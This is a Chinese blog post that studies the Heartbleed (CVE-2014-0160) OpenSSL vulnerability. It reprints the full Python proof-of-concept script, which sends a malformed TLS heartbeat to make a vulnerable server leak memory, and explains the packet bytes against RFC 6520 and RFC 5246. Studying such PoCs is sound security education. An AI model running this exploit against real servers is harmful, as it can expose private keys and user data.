Openssl 漏洞POC学习

最新推荐文章于 2024-07-22 15:46:30 发布

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最新推荐文章于 2024-07-22 15:46:30 发布

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分类专栏： exploit 文章标签： hack 漏洞

本文链接：https://blog.csdn.net/youfuchen/article/details/23279547

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关于漏洞的细节以及相关危害可以参考知乎和乌云上的文章

OpenSSL 的 Heartbleed 漏洞的影响到底有多大？

关于OpenSSL“心脏出血”漏洞的分析

漏洞相关的代码就不分析了，上面的文章已经分析的很清楚了，下面主要分析一下网络上流传甚广的python POC文件。

#!/usr/bin/python

# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.

import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser

options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')

def h2bin(x):
    return x.replace(' ', '').replace('\n', '').decode('hex')

hello = h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01                                  
''')

hb = h2bin(''' 
18 03 02 00 03
01 40 00
''')

def hexdump(s):
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
        hxdat = ' '.join('%02X' % ord(c) for c in lin)
        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
        print '  %04x: %-48s %s' % (b, hxdat, pdat)
    print

def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ''
    remain = length
    while remain > 0:
        rtime = endtime - time.time() 
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        if s in r:
            data = s.recv(remain)
            # EOF?
            if not data:
                return None
            rdata += data
            remain -= len(data)
    return rdata
        

def recvmsg(s):
    hdr = recvall(s, 5)
    if hdr is None:
        print 'Unexpected EOF receiving record header - server closed connection'
        return None, None, None
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        print 'Unexpected EOF receiving record payload - server closed connection'
        return None, None, None
    print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
    return typ, ver, pay

def hit_hb(s):
    s.send(hb)
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print 'No heartbeat response received, server likely not vulnerable'
            return False

        if typ == 24:
            print 'Received heartbeat response:'
            hexdump(pay)
            if len(pay) > 3:
                print 'WARNING: server returned more data than it should - server is vulnerable!'
            else:
                print 'Server processed malformed heartbeat, but did not return any extra data.'
            return True

        if typ == 21:
            print 'Received alert:'
            hexdump(pay)
            print 'Server returned error, likely not vulnerable'
            return False

def main():
    opts, args = options.parse_args()
    if len(args) < 1:
        options.print_help()
        return

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print 'Connecting...'
    sys.stdout.flush()
    s.connect((args[0], opts.port))
    print 'Sending Client Hello...'
    sys.stdout.flush()
    s.send(hello)
    print 'Waiting for Server Hello...'
    sys.stdout.flush()
    while True:
        typ, ver, pay = recvmsg(s)
        if typ == None:
            print 'Server closed connection without sending Server Hello.'
            return
        # Look for server hello done message.
        if typ == 22 and ord(pay[0]) == 0x0E:
            break

    print 'Sending heartbeat request...'
    sys.stdout.flush()
    s.send(hb)
    hit_hb(s)

if __name__ == '__main__':
    main()

上面比较重要和难以理解的是hello和hb两个字符串的意思到底是什么。

首先看hb这个字符串的几个字节是什么意思，通过阅读RFC6520我们可以得到heartbeat的数据结构：

The Heartbeat protocol messages consist of their type and an arbitrary payload and padding.

enum {
heartbeat_request(1),
heartbeat_response(2),
(255)
} HeartbeatMessageType;

struct {
HeartbeatMessageType type;
uint16 payload_length;
opaque payload[HeartbeatMessage.payload_length];
opaque padding[padding_length];
} HeartbeatMessage;

这个数据结构的总长度不能超过2的14次方。

type: 消息类型， heartbeat_request 或者 heartbeat_response中的一个，不是0x01就是0x02，1byte。

payload_length: payload的长度, 2个bytes。

payload：内容是任意的东西，接收端收到之后必须忽略掉里面的具体内容，如果接收端响应这个request，那么需要将里面的内容原封不动拷贝回发送端。

padding: 也是一些随即的乱起八糟的内容，必须被接收端忽略掉。

padding_length: TLSPlaintext.length - payload_length - 3 for TLS 或者 DTLSPlaintext.length - payload_length - 3 for DTLS. 至少是16bytes.

在这个RFC6520中有下面一句话，IANA has assigned the heartbeat content type (24) from the "TLS ContentType Registry" as specified in [RFC5246]

意思就是说IANA这个组织把heartbeat content type的编号定为了24

我们去RFC5246中查找TLSPlaintext结构的定义。

RFC5246附录A中开头的定义如下：

struct {
uint8 major;
uint8 minor;
} ProtocolVersion;

ProtocolVersion version = { 3, 3 }; /* TLS v1.2*/

enum {
change_cipher_spec(20), alert(21), handshake(22),
application_data(23), (255)
} ContentType;

struct {
ContentType type;
ProtocolVersion version;
uint16 length;
opaque fragment[TLSPlaintext.length];
} TLSPlaintext;